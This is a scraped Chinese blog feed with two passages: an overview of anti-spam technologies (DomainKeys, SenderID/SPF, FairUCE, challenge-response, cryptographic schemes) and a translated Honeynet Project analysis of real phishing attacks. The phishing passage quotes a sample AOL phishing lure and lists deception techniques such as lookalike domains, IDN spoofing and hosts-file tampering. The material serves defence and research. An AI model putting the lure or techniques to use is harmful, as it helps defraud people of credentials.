href="http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt">http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt</A></P>
<P>DomainKeys的实现过程</P>
<P>发送服务器经过两步：<BR>1、建立。域所有者需要产生一对公/私钥用于标记所有发出的邮件（允许多对密钥），公钥在DNS中公开，私钥在使用DomainKey的邮件服务器上。<BR>2、签名。当每个用户发送邮件的时候，邮件系统自动使用存储的私钥来产生签名。签名作为邮件头的一部分，然后邮件被传递到接收服务器上。</P>
<P>接收服务器通过三步来验证签名邮件：<BR>1、准备。接收服务器从邮件头提取出签名和发送域（From:）然后从DNS获得相应的公钥。<BR>2、验证。接收服务器用从DNS获得的公钥来验证用私钥产生的签名。这保证邮件真实发送并且没有被修改过。<BR>3、传递。接收服务器使用本地策略来作出最后结果，如果域被验证了，而且其他的反垃圾邮件测试也没有决定，那么邮件就被传递到用户的收件箱中，否则，邮件可以被抛弃、隔离等。</P>
<P>2.2.3、SenderID技术<BR>&nbsp;&nbsp;&nbsp; 2004年，Gates曾信誓旦旦地预言微软能够在未来消灭垃圾邮件，他所期望的就是Sender ID技术，但是，最近他则收回了他的预言。这也就是标准之争，微软希望IETF能够采用Sender ID技术作为标准，并且得到了大量支持，比如Cisco, Comcast, IBM, Cisco,Port25,Sendmail,Symantec,VeriSign等，也包括后来又倒戈的AOL的支持，但是在开源社区，微软一直没有得到足够的支持，IETF最终否决了微软的提议。<BR>&nbsp;&nbsp;&nbsp; SenderID技术主要包括两个方面：发送邮件方的支持和接收邮件方的支持。其中发送邮件方的支持主要有三个部分：发信人需要修改邮件服务器的DNS，增加特定的SPF记录以表明其发信身份，比如"v=spf1 ip4:192.0.2.0/24 -all"，表示使用SPF1版本，对于192.0.2.0/24这个网段是有效的；在可选情况下，发信人的MTA支持在其外发邮件的发信通信协议中增加SUBMITTER等扩展，并在其邮件中增加Resent-Sender、Resent-From、Sender等信头。<BR>&nbsp;&nbsp;&nbsp; 接收邮件方的支持有：收信人的邮件服务器必须采用SenderID检查技术，对收到的邮件检查PRA或MAILFROM，查询发件者DNS的SPF纪录，并以此验证发件者身份。</P>
<P>因此，采用Sender ID技术，其整个过程为：<BR>第一步，发件人撰写邮件并发送；<BR>第二步，邮件转移到接收邮件服务器；<BR>第三步，接收邮件服务器通过SenderID技术对发件人所声称的身份进行检查（该检查通过DNS的特定查询进行）；<BR>第四步，如果发现发信人所声称的身份和其发信地址相匹配，那么接收该邮件，否则对该邮件采取特定操作，比如直接拒收该邮件,或者作为垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; Sender ID技术实际上并不是根除垃圾邮件的法宝，它只是一个解决垃圾邮件发送源的技术，从本质上来说，并不能鉴定一个邮件是否是垃圾邮件。比如，垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，垃圾邮件发送者还可以通过别人的邮件服务器的漏洞转发其垃圾邮件，这同样是SenderID技术所不能解决的。</P>
<P>2.2.4、FairUCE技术<BR>&nbsp;&nbsp;&nbsp; FairUCE（Fair use of Unsolicited Commercial Email）由IBM开发，该技术使用网络领域的内置身份管理工具，通过分析电子邮件域名过滤并封锁垃圾邮件。<BR>&nbsp;&nbsp;&nbsp; FairUCE把收到的邮件同其源头的IP地址相链接--在电子邮件地址、电子邮件域和发送邮件的计算机之间建立起一种联系，以确定电子邮件的合法性。比如采用SPF或者其他方法。如果，能够找到关系，那么检查接受方的黑白名单，以及域名名声，以此决定对该邮件的操作，比如接收、拒绝等。</P>
<P>&nbsp;&nbsp;&nbsp; FairUCE还有一个功能，就是通过溯源找到垃圾邮件的发送源头，并且将那些传递过来的垃圾邮件再转回给发送源头，以此来打击垃圾邮件发送者。这种做法利弊都有。好处就是能够影响垃圾邮件发送源头的性能，坏处就是可能打击倒正常的服务器（比如被利用的）的正常工作，同时该功能又复制了大量垃圾流量。</P>
<P>2.2.5、局限性和缺点<BR>&nbsp;&nbsp;&nbsp; 这些解决方案都具有一定的可用性，但是也存在一些缺点：</P>
<P>**非主机或空的域名<BR>&nbsp;&nbsp;&nbsp; 反向查询方法要求邮件来自已知的并且信任的邮件服务器，而且对应合理IP地址（反向MX纪录）。但是，多数的域名实际上并不同完全静态的IP地址对应。通常情况下，个人和小公司也希望拥有自己的域名，但是，这并不能提供足够的IP地址来满足要求。DNS注册主机，比如GoDaddy，向那些没有主机或只有空域名的人提供免费邮件转发服务。尽管这种邮件转发服务只能管理接收的邮件，而不能提供邮件发送服务。</P>
<P>&nbsp;&nbsp;&nbsp; 反向查询解决方案对这些没有主机或者只有空域名的用户造成一些问题：<BR>&nbsp;&nbsp;&nbsp; &#183;没有反向MX记录。这些用户现在可以配置邮件客户端就可以用自己注册的域名能发送邮件。但是，要反向查询发送者域名的IP地址就根本找不到。特别是对于那些移动的、拨号的和其他会频繁改变自己IP地址的用户。<BR>&nbsp;&nbsp;&nbsp; &#183;不能发送邮件。要解决上面的问题，一个办法就是通过ISP的服务器来转发邮件，这样就可以提供一个反向MX纪录，但是，只要发送者的域名和ISP的域名不一样的时候，ISP现在是不会允许转发邮件的。<BR>&nbsp;&nbsp;&nbsp; 这两种情况下，这些用户都会被反向查询系统拦截掉。</P>
<P>**合法域名<BR>&nbsp;&nbsp;&nbsp; 能验证身份，并不一定就是合法的身份，比如：垃圾邮件发送者可以通过注册廉价的域名来发送垃圾邮件，从技术的角度来看，一切都是符合规范的；还有，目前很多垃圾邮件发送者可以通过别人的邮件服务器漏洞进入合法邮件系统来转发其垃圾邮件，这些问题对于验证查询来说还无法解决。</P>
<P>2.3、挑战<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件发送者使用一些自动邮件发送软件每天可以产生数百万的邮件。挑战的技术通过延缓邮件处理过程，将可以阻碍大量邮件发送者。那些只发送少量邮件的正常用户不会受到明显的影响。但是，挑战的技术只在很少人使用的情况下获得了成功。如果在更普及的情况下，可能人们更关心的是是否会影响到邮件传递而不是会阻碍垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 这里介绍两种主要的挑战形式：挑战-响应，和 计算性挑战（challenge-response and proposed computational challenges）</P>
<P>2.3.1&nbsp;&nbsp;&nbsp; 挑战-响应<BR>&nbsp;&nbsp;&nbsp; 挑战-响应（Challenge-Response：CR）系统保留着许可发送者的列表。一个新的邮件发送者发送的邮件将被临时保留下来而不立即被传递。然后向这个邮件发送者返回一封包含挑战的邮件（挑战可以是连接URL或者是要求回复）。当完成挑战后，新的发送者则被加入到许可发送者列表中。对于那些使用假邮件地址的垃圾邮件来说，它们不可能接收到挑战，而如果使用真实邮件地址的话，又不可能回复所有的挑战。但是，CR系统还是有许多局限性：</P>
<P>&nbsp;&nbsp;&nbsp; CR死锁。假如Alice告诉Bill要给朋友Charlie发送邮件。Bill发送一个邮件给Charlie，Charlie的CR系统临时中断邮件并发送给Bill一个挑战。但是Bill的CR系统又会中断Charlie这里发送出来的挑战邮件，并发送自己的挑战。因此，结果就是，用户都没有接收到挑战，而且用户也无法回复邮件。而且用户也无法知道，在挑战过程中发生了问题。因此，如果双方都使用CR系统的话，他们就可能根本无法进行沟通。<BR>&nbsp;&nbsp;&nbsp; 自动系统问题。邮件列表或者那些自动系统，比如一些网站的"发送给朋友&#8230;&#8230;"功能，就不可能回应挑战。<BR>&nbsp;&nbsp;&nbsp; 解释挑战。许多CR系统都执行解释性挑战。这些复杂的CR系统包含了字符识别和参数匹配，但是即便如此，还是能够进行自动化操作。比如，Yahoo的CR系统在创建新邮件账号的时候，对于那些有简单智能字符分析的系统是存在漏洞的。Hushmail的邮件CR系统要求从蓝背景图片中找出指定的图形（分析背景，找出图形，提交坐标，这是可能的）</P>
<P>&nbsp;&nbsp;&nbsp; 这些在市场宣传神化中强调了两点：1、人们必须得提供挑战，2、这些问题都非常复杂而不太可能自动化操作。但是实际上，多数的垃圾邮件发送者完全不理睬了这些CR系统，因为他们主要是担心没有大量的接收者，而不是担心挑战太复杂。许多垃圾邮件发送者也使用有效的邮件地址。当CR系统会干扰垃圾邮件的时候，那些发送者也会找出自动化搞定这些挑战的办法的。</P>
<P>2.3.2、计算性挑战<BR>&nbsp;&nbsp;&nbsp; 现在也提出了一些计算性挑战方案Computational Challenge (CC)，如，通过增加发送邮件的"费用"。多数CC系统使用复杂的算法来有意拖延时间。对于单个用户来说，这种拖延很难被察觉，但是对于发送大量邮件的垃圾邮件发送者来说，这就意味着要花费很多时间了。CC系统的实例，如Hash Cash (<A href="http://www.cypherspace.org/adam/hashcash/">http://www.cypherspace.org/adam/hashcash/</A>)。但是，即便如此，CC系统还是会影响快速通讯而不仅仅影响垃圾邮件。这些局限包括：</P>
<P>&nbsp;&nbsp;&nbsp; &#183;不平等影响。计算性挑战是以CPU、内存和网络为基础的，比如，在1Ghz计算机上挑战可能花费10秒，但是在500Mhz上就需要花费20秒了。<BR>&nbsp;&nbsp;&nbsp; &#183;邮件列表。许多邮件列表都有数千，甚至数百万的接受者。比如BugTraq，就可能会被看作垃圾邮件了。CC系统来处理邮件列表是不现实的。如果垃圾邮件发送有办法通过合法的邮件列表来绕过挑战，那么他们也就有办法绕过其他的挑战了。<BR>&nbsp;&nbsp;&nbsp; &#183;机器人程序。Sobig或者其他象垃圾邮件一样的病毒，能让垃圾邮件发送者控制大量的机器。这就让他们能够用大量的系统来均衡"费用"了。<BR>&nbsp;&nbsp;&nbsp; &#183;合法的机器人程序。垃圾邮件发送者发送垃圾邮件是因为会给他们带来收入。如果这些人联合起来，就可能提供大量的系统来分担"费用"，这完全是合法的，而且不需要通过病毒了。</P>
<P>&nbsp;&nbsp;&nbsp; 当前，计算性挑战还没有广泛应用，因为这种技术还不能解决spam问题，反而可能干扰正常用户。</P>
<P>2.4、密码术<BR>&nbsp;&nbsp;&nbsp; 现在提出了一些采用密码技术来验证邮件发送者的方案。从本质上来说，这些系统采用证书方式来提供证明。没有适当的证书，伪造的邮件就很容易被识别出来，下面就是一些研究中的密码解决办法：</P>
<P>&nbsp;&nbsp;&nbsp; AMTP. <A href="http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt">http://www.ietf.org/internet-drafts/draft-weinman-amtp-02.txt</A> <BR>&nbsp;&nbsp;&nbsp; MTP. <A href="http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt">http://www.ietf.org/internet-drafts/draft-danisch-email-mtp-00.txt</A> <BR>&nbsp;&nbsp;&nbsp; S/MIME and PGP/MIME. <A href="http://www.imc.org/smime-pgpmime.html">http://www.imc.org/smime-pgpmime.html</A> </P>
<P>&nbsp;&nbsp;&nbsp; 目前的邮件协议（SMTP）不能直接支持加密验证。研究中的解决方案扩展了SMTP（比如S/MIME，PGP/MIME和AMTP），还有一些其他的则打算代替现在的邮件体系，比如MTP。有趣的是，MTP的作者说到："SMTP已经有20多年历史了，然而近代的一些需求则在过去5到10年内发展起来。许多扩展都是针对SMTP的语句和语义，纯粹的SMTP不能满足这些需求，如果不改变SMTP的语句，是很难有所突破的。"但是，很多的扩展的SMTP实例恰恰表明了SMTP的可变性，而不是不变性，完全创造一个新的邮件传输协议并不是必须的。</P>
<P>&nbsp;&nbsp;&nbsp; 在采用证书的时候，比如X.509或TLS，某些证书管理机构必须得可用，但是，如果证书存储在DNS，那么私钥必须得在验证的时候可用。（换句话说，如果垃圾邮件发送者可以访问这些私钥，那么他们就可以产生有效的公钥）。另一方面，也要用到主要的证书管理机构（CA），但是，邮件是一种分布式系统，没有人希望所有的邮件都由单独的CA来控制。一些解决办法因此允许多个CA系统，比如，X.509就会确定可用的CA服务器。这种扩展性也导致垃圾邮件发送者也可以运行着私有的CA服务器。</P>
<P>&nbsp;&nbsp;&nbsp; 如果没有证书管理机构，就需要其他的途径在发送者和接收者之间来分发密钥。比如，PGP，就可以预先共享公钥。在未连接网络或者比较封闭的群组中，这种办法是可行的，但是在大量个体使用的时候，就不是太适合，特别是对于需要建立新的联系的情况下。从本质上来说，预先共享密钥有些类似白名单的过滤器：只有彼此知道的人才能发送邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 不幸的是，这些加密解决方案还不能阻止垃圾邮件，比如，假设其中的一种加密方案广泛被接受了。这些办法都不能确认邮件地址是真实的，而只是可以确认发送者有邮件的正确密钥。缺点就是：<BR>&nbsp;&nbsp;&nbsp; &#183;滥用自动化工具。如果在广大范围内被应用，就需要有一种办法为所有用户产生证书或者密钥（包括邮件服务器端，邮件客户端，依赖与相应的解决办法）系统很可能通过一种自动化的方法来提供密钥。可是，可以相信垃圾邮件发送者也会滥用任何自动化系统，并且用来发送经认证的垃圾邮件。<BR>&#183;可用性问题。这也有一些可用性的争论。比如，如果CA服务器不可用怎么办？邮件被挂起？退票？还是依然可用？垃圾邮件发送者近来对一半以上的提供黑名单网站进行了拒绝服务攻击，并导致这些网站都无法访问。显然，这些垃圾邮件发送者想阻止别人更新黑名单。对于单一的CA服务器，很显然也无法避免这样的命运。</P>
<P>3、总结<BR>&nbsp;&nbsp;&nbsp; 上面介绍了一些反垃圾邮件的技术，其实，现在很多反垃圾邮件方案所采用的都不会只是一种技术，而是多种多类技术的综合体。</P>
<P>&nbsp;&nbsp;&nbsp; 垃圾邮件的危害现在已经深入人心，反垃圾邮件也取得越来越多的成绩，比如，Scott Richter向微软赔款700万。不少国家也在为反垃圾邮件进行立法，以便能够得到法律上的支持。</P>
<P>&nbsp;&nbsp;&nbsp; 但从技术上来说，这跟反攻击一样，是一个正反双方的博弈过程，一种新的反垃圾邮件技术必然会出现一种对应得垃圾邮件技术，况且，任何一种技术，还没有办法去解决所有问题，技术的发展也将延续下去。<BR></P><img src ="http://www.cnblogs.com/F4ncy/aggbug/225559.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42808/" target="_blank">[新闻]百度任命李一男担任首席技术官</a><br/><a href="http://www.cnblogs.com" target="_blank">博客园首页</a>&nbsp;<a href="http://space.cnblogs.com" target="_blank">社区</a>&nbsp;<a href="http://news.cnblogs.com" target="_blank">新闻频道</a>&nbsp;<a href="http://space.cnblogs.com/group.htm" target="_blank">小组</a>&nbsp;<a href="http://space.cnblogs.com/q" target="_blank">博问</a>&nbsp;<a href="http://wz.cnblogs.com/" target="_blank">网摘</a>&nbsp;<a href="http://space.cnblogs.com/ing" target="_blank">闪存</a>]]></description></item><item><title>实例解析网络钓鱼攻击的幕后</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 15 Aug 2005 14:02:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/215630.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/15/215630.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/215630.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/215630.html</trackback:ping><description><![CDATA[<P>实例解析网络钓鱼攻击的幕后</P>
<P>网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件，意图引诱收信人给出敏感信息（如用户名、口令、帐号ID、ATM PIN码或信用卡详细信息）的一种攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非常相似的钓鱼网站上，并获取收信人在此网站上输入的个人敏感信息，通常这个攻击过程不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力，因为这些信息使得他们可以假冒受害者进行欺诈性金融交易，从而获得经济利益。受害者经常遭受显著的经济损失或全部个人信息被窃取并用于犯罪的目的。这篇&#8220;了解你的敌人&#8221;文章旨在基于 德国蜜网项目组和英国蜜网项目组所搜集到的攻击数据给出网络钓鱼攻击的一些实际案例分析。这篇文章关注由蜜网项目组在实际环境中发现的真实存在的网络钓鱼攻击案例，但不会覆盖所有可能存在的网络钓鱼攻击方法和技术。攻击者也在不断地进行技术创新和发展，目前也应该有（本文未提及的）新的网络钓鱼技术已经在开发中，甚至使用中。 </P>
<P>在给出一个简要的引言和背景介绍后，我们将回顾钓鱼者实际使用的技术和工具，给出使用蜜网技术捕获真实世界中的网络钓鱼攻击的三个实验型研究的案例。这些攻击案例将详细地进行描述，包括系统入侵、钓鱼网站架设、消息传播和数据收集等阶段。随后，将对其中普遍应用的技术及网络钓鱼、垃圾邮件和僵尸网络等技术进行融合的趋势给出分析。钓鱼者使用恶意软件进行自动化的Email地址收集和垃圾邮件发送的案例也将被回顾，同时我们也将展示我们在网络扫描技术及被攻陷主机如何被用于传播钓鱼邮件和其他垃圾邮件上的发现。最后，我们对本文给出结论，包括我们在最近6个月内获得的经验，以及我们建议的进一步研究的客体。 </P>
<P>这篇文章包括了丰富的支持性信息，提供了包含特定的网络钓鱼攻击案例更详细数据的链接。最后声明一下，在研究过程中，我们没有收集任何机密性的个人数据。在一些案例中，我们与被涉及网络钓鱼攻击的组织进行了直接联系，或者将这些攻击相关的数据转交给当地的应急响应组织。 </P>
<P>引言 </P>
<P>欺骗别人给出口令或其他敏感信息的方法在黑客界已经有一个悠久的历史。传统上，这种行为一般以社交工程的方式进行。在二十世纪九十年代，随着互联网所连接的主机系统和用户量的飞速增长，攻击者开始将这个过程自动化，从而攻击数量巨大的互联网用户群体。最早系统性地对这种攻击行为进行的研究工作在1998年由Gordon和Chess发表。（Sarah Gordon, David M. Chess: Where There's Smoke, There's Mirrors: The Truth about Trojan Horses on the Internet , presented at the Virus Bulletin Conference in Munich, Germany, October 1998）Gordon和Chess研究针对AOL（美国在线）的恶意软件，但实际上他们面对的是网络钓鱼的企图而不是他们所期望的特洛伊木马攻击。网络钓鱼 (Phishing) 这个词 (password harvesting fishing) 描述了通过欺骗手段获取敏感个人信息如口令、信用卡详细信息等的攻击方式，而欺骗手段一般是假冒成确实需要这些信息的可信方。 Gordon 和 Chess 描述的一个钓鱼信件如下所示： </P>
<P>Sector 4G 9E of our data base has lost all I/O functions. When your account logged onto our system, we were temporarily able to verify it as a registered user. Approximately 94 seconds ago, your verification was made void by loss of data in the Sector 4G 9E. Now, due to AOL verification protocol, it is mandatory for us to re-verify you. Please click 'Respond' and re-state your password. Failure to comply will result in immediate account deletion.&nbsp; </P>
<P>早期的网络钓鱼攻击主要目的是获得受害者的AOL账号的访问权，偶尔也期望获取信用卡数据以用于欺诈目的(如非法买卖这些信息)。这些钓鱼的信件通常包含一个简单的诡计从而哄骗一些&#8220;菜鸟&#8221;用户，这些欺骗手段很大程度依赖于受害者对&#8220;自动化的&#8221;系统功能或权威机构的（表面）轮廓的先天性信任，前面的例子中给出一个硬件设备故障或数据库毁坏的情节，大部分的普通用户将会重视任何看起来正式的、或看起来向是为他们提供帮助的紧急的技术上的要求，用户通常会被催促尽快输入其敏感信息从而避免严重后果，如&#8220; &#8230; 重新输入你的口令，如未及时输入则将导致直接删除账号&#8221;。为了避免可能潜在的严重的后果，受害者通常立即照做，从而不知不觉地将这些使用此社交工程手段的黑客所需要的敏感数据提供给了他们。事后的证据表明这些黑客都是单独行动，或是以一个小而简单的组织形式活动。一些文献也描述了早期的网络钓鱼者大多是一些期望获得更多账号数据去恶作剧及打长途电话的青少年，通常没有很强的组织性和蓄意性。 </P>
<P>现在，钓鱼者所首选的策略是通过大量散发诱骗邮件，冒充成一个可信的组织机构（通常是那些钓鱼者所期望的已经被受害者所信任的机构），去引诱尽可能多的终端用户。钓鱼者会发出一个让用户采取紧急动作的请求，而具有讽刺意义的是通常其理由是保护用户的机密性数据免受恶意活动的侵害，这封欺骗性的电子邮件将会包含一个容易混淆的链接，指向一个假冒目标机构公开网站的远程网页。钓鱼者希望受害者能够被欺骗，从而向这个假的、但看起来是目标机构的&#8220;官方&#8221;网站的网页接口输入他们的机密信息。被钓鱼者所青睐的目标机构包括很多著名的银行，信用卡公司和涉及日常性支付行为的知名互联网商务网站（如eBay和Paypal等）。大量针对互联网用户的钓鱼邮件的实例可以在反网络钓鱼工作组（Anti-Phishing Working Group）的网站上的钓鱼邮件归档中可以获得，其中许多邮件都显示了钓鱼者可以欺骗无知的用户相信他们正在访问一个合法的网页接口的极高精确性。 </P>
<P>在这个简要介绍网络钓鱼概念的引言之后，我们将开始回顾在我们观察到的真实网络钓鱼攻击中所实际使用的技术和工具。如果你对网络钓鱼的更深入的背景知识感兴趣，我们为你准备了 具体的背景信息 这个页面。 </P>
<P>工具和策略 </P>
<P>网络钓鱼攻击一般仅利用一些简单的工具和技术来欺骗无戒备心的用户。支撑一次网络钓鱼攻击的底层基础设施可以是最基本的简单地拷贝一个HTML页面，上传到一个刚刚攻陷的网站服务器，以及一个服务器端的用来处理用户输入数据的脚本，也可能涉及更为复杂的网站及内容重定向，但他们的底层目标是一致的——架设一个假冒可信机构的网站，并部署一些必需的后台脚本处理用户的输入数据并让攻击者获取。使用最新的HTML编辑工具可以非常容易地构建出模仿目标组织机构的网站，同时如果攻击者不介意扫描互联网IP地址空间以寻找潜在的有漏洞的主机，缺乏有效的安全防护的网站服务器也能够非常容易地找到并被攻陷。一旦被攻陷，即使是家庭用的PC主机都可以作为钓鱼网站的宿主主机，所以钓鱼者的攻击目标不仅仅是知名的企业和学院里的系统。攻击者经常不分青红皂白地去选择他们的目标主机，而仅仅是在一个大的IP地址空间中随机地扫描，寻找可被利用的特定的安全漏洞。 </P>
<P>一旦钓鱼者建立起一个模仿可信机构的真实且能够让人信以为真的假冒网站后，对他们的重要挑战是如何将用户从一个合法的网站转移到访问他们所架设的假冒网站。除非钓鱼者有能力去改变目标网站的DNS解析（称为DNS中毒攻击）或采取其他方式对网络流量进行重定向（称为pharming的一种技术），他们必须依赖某种形式的内容上的欺骗技巧，去引诱不幸的用户去访问假冒的网站。欺骗技巧的质量越高，他们所撒的渔网就越宽，一个无知的用户错误地访问这个假冒网站（并提供给钓鱼者他的机密信息和私人数据）的机会就越大。 </P>
<P>对攻击者不幸的是，当他们假冒一个组织结构（如一个银行或可信的商务网站），钓鱼者通常没有任何互联网上哪些用户属于他们的客户此类信息，也就不知道哪些用户最容易上钩。即使钓鱼者可以将指向假冒网站的链接发布到与目标机构相关的一些聊天室或论坛上（如一个技术支持网站或网络社区谈论组），目标机构很可能比较迅速地被通知并做出反应，这个链接也会在很多受害者访问它所指向的内容并提交他们的个人信息前被清除。同时对钓鱼者也存在一个显著的风险，目标机构或法律执行部门可能会追踪并关闭这些假冒的网站。因此，钓鱼者需要一个方法，能够在尽量减少他们所承担的风险的同时，在短时间内欺骗尽可能多的潜在受害群体，他们找到了理想的犯罪搭档——垃圾邮件。 </P>
<P>垃圾邮件发送者拥有包括几百万使用中电子邮件地址的数据库，因此最新的垃圾邮件群发技术可以用来帮助一个钓鱼者低风险广泛地发布他们的诱骗邮件。垃圾邮件通常通过一些被攻陷的架设在境外主机上的邮件服务器，或是通过一个全球的傀儡主机网络(botnets)进行发送，因此邮件发送者被追踪的可能性将会很小。如果一个无戒备心的用户收到一封看起来像是由他们的银行所发来的，带有银行正式标志的电子邮件，要求他们访问一个看起来与银行官方网站一摸一样的网站并由于安全理由更改他们在线的银行口令，这比起那些介绍新奇产品并链接到未知网站的普通垃圾邮件来更可能使得用户上当。为了增加用户相信这个邮件是真实的可能性，钓鱼者会应用一些另外的技术来进一步提高他们所进行的诱捕手段的质量： </P>
<P>在指向假冒网站的链接中使用IP地址代替域名。一些无戒备心的用户将不会检查（或不知道如何检查）这个IP地址是否来自假冒网站页面上所声称的目标机构。 </P>
<P>注册发音相近或形似的DNS域名（如 b1gbank.com 或 bigbnk.com 假冒 bigbank.com ），并在上面架设假冒网站，期望用户不会发现他们之间的差异。 </P>
<P>在一个假冒钓鱼网站的电子邮件HTML内容中嵌入一些指向真实的目标网站的链接，从而使得用户的网站浏览器的大多数HTTP连接是指向真实的目标网站，而仅有少数的关键连接（如提交敏感信息的页面）指向假冒的网站。如果用户的电子邮件客户端软件支持HTML内容的自动获取，那会在电子邮件被读取的时候自动地连接假冒网站，手动地浏览也不会在大量与真实网站的正常网络活动中注意到少量与恶意服务器的连接。 </P>
<P>对假冒网站的URL进行编码和混淆，很多用户不会注意到或者理解URL链接被做过什么处理，并会假设它是良性的。IDN欺骗技术（IDN spoofing）就是这样的一种技术，它使用Unicode编码的URL在浏览器的地址栏里呈现的看起来像是真实的网站地址，但实际上却指向一个完全不同的地址。 </P>
<P>企图攻击用户网页浏览器存在的漏洞，使之隐藏消息内容的实质。微软的IE和Outlook都被发现过存在可以被这种技术攻击的漏洞（如地址栏假冒和IFrame element漏洞）。 </P>
<P>将假冒的钓鱼网站配置成记录用户提交的所有数据并进行不可察觉的日志，然后将用户重定向到真实的网站。这将导致一个&#8220;口令错误，请重试&#8221;错误，或甚至完全透明，但在每种情况下，大部分用户都不会发觉，更相信是自己的错误输入，而不会想到是由于恶意第三方的干涉。</P>
<P>架设一个假冒网站，作为目标机构真实网站的代理，并偷摸地记录未使用SSL加密保护的口令信息（或甚至为假冒的域名注册一个有效的SSL证书从而对SSL加密保护的口令信息进行记录）。 </P>
<P>首先通过恶意软件在受害者的PC上首先安装一个恶意的浏览器助手工具（Browser Helper Object），然后由其将受害者重定向到假冒的钓鱼网站。BHO是一些设计用于定制和控制IE浏览器的DLL，如果成功，受害者将会被欺骗，相信他们正在访问合法的网站内容，然而实际上却在访问一个假冒的钓鱼网站。 </P>
<P>使用恶意软件去修改受害者PC上的用来维护本地DNS域名和IP地址映射的hosts文件，这将使得他们的网页浏览器在连接架设假冒钓鱼网站的服务器时，却让用户看起来像是访问目标机构的合法网站。 </P>
<P>由于很多电子商务或在线银行应用的复杂性，他们的网站经常使用HTML框架结构或其他复杂的页面结构架设，这也可能使得一个终端用户很难判断一个特定的网页是否合法。上述列举的这些技术的组合使用可以隐藏一个精心设计的网页的真实来源，也使得一个无戒备心的用户很可能被引诱去访问钓鱼者的假冒网站，不知不觉地泄漏他们的认证口令信息和所需要的数字身份信息，从而成为一次成功的网络钓鱼攻击的又一个受害者。 </P>
<P>真实世界的网络钓鱼技术 </P>
<P>互联网用户也经常在他们自己收到欺骗性邮件发觉网络钓鱼攻击，也常常在钓鱼网站所临时架设的主机被 关闭很长时间后在 技术新闻站点上看到这些恶意网站的记录副本，但这些事件只能被孤立从受害者的角度去观察。蜜网技术能够提供的一个最大的优势在于其能够从攻击者角度捕获全部行为的能力，使得安全分析员能够对网络钓鱼攻击的整个生命周期建立起一个完整的理解，来自蜜网研究联盟的成员们非常幸运地捕获了丰富的网络钓鱼攻击数据集，能够帮助他们了解真实的一次网络钓鱼攻击的全过程，从最初主机被攻陷、钓鱼网站的架设、群发垃圾邮件、到最后的受害者数据捕获。三个反映典型的真实世界网络钓鱼攻击技术的实际案例将在下面被展示和分析。 </P>
<P>第一种网络钓鱼技术：通过攻陷的网站服务器钓鱼 </P>
<P>大部分我们观察到真实世界中的网络钓鱼攻击涉及到攻击者攻入有漏洞的服务器，并安装恶意的网页内容。蜜网技术使得我们可以捕获一次网络钓鱼攻击的生命周期中的详细数据，在我们观察到的这些攻击事件中，普遍地存在如下一些事件： </P>
<P>攻击者扫描网段，寻找有漏洞的服务器 </P>
<P>服务器被攻陷，并安装一个rootkit或口令保护的后门工具 </P>
<P>钓鱼者从加密的后门工具获得对服务器的访问权 </P>
<P>如果这个被攻陷的服务器是一个网站服务器，则下载已构建完毕的钓鱼网站内容 </P>
<P>进行有限的一些内容配置和网站测试工作（这也潜在地预示着第一次访问钓鱼网站的IP地址可能是钓鱼者的真实IP地址） </P>
<P>群发电子邮件工具被下载，并用以大规模散发包含假冒钓鱼网站信息的欺骗性垃圾邮件 </P>
<P>网页浏览的流量开始到达钓鱼网站，潜在的受害者开始访问恶意的网页内容 </P>
<P>通常情况下，网站钓鱼攻击的生命周期从钓鱼网站发布到互联网上后只有几个小时或几天的时间，我们的研究也发现网络钓鱼攻击在多台服务器上针对多个组织机构在同时并行进行。我们将使用两个典型的网络钓鱼攻击的实际案例所捕获的数据来进行阐述这些原理，其中一个案例是由德国蜜网项目组观察到，另一个由英国蜜网项目组观察到。在每个案例中，蜜网研究联盟的成员们都部署了有漏洞的Linux蜜罐，对这两个蜜罐的攻陷过程显示了相同的攻击模式：蜜罐的被扫描和被攻陷具有非常强的连续性，并包括预先创建的钓鱼网站和群发垃圾邮件工具的上传和使用。与我们观察到的几次其他的案例中类似，Rootkit和IRC服务器也同时在攻击过程中被安装，被攻陷的蜜罐同时被用以除网络钓鱼外的其他目的：如作为一个由罗马尼亚攻击者控制的IRC傀儡主机，同时也作为一个网络扫描器用以发现和攻击更多潜在的计算机（尽管蜜网体系框架阻止攻击者从被攻陷的蜜罐成功的攻击其他的服务器）。一些令人关注的差异也是非常显然的，不仅仅是在英国蜜网项目组观察到的案例中，也就是多个不同的组织几乎同时访问了被攻陷的主机，使得取证分析更加复杂。由于篇幅的限制，我们没有在本文中给出这些攻击的具体细节，而仅仅给出了我们所得到的经验以及钓鱼者如何进行网络钓鱼攻击。如果你对这些特定的攻击过程的更多具体细节感兴趣，你可以访问以下页面中的信息。 </P>
<P>蜜网配置概要介绍 </P>
<P>德国蜜罐攻陷案例的具体细节 </P>
<P>英国蜜罐攻陷案例的具体细节（时间表） </P>
<P>英国蜜罐攻陷案例的具体细节（内容分析） </P>
<P>下面的表格展示了在这两个案例中关键的因素及其差异的概要分析： </P>
<P>数据 </P>
<P>德国案例 </P>
<P>英国案例 </P>
<P>被攻陷的蜜罐 </P>
<P>Redhat Linux 7.1 x86. </P>
<P>Redhat Linux 7.3 x86. </P>
<P>部署位置 </P>
<P>德国企业网络 </P>
<P>英国 ISP 数据中心 </P>
<P>攻击方法 </P>
<P>"Superwu" autorooter. </P>
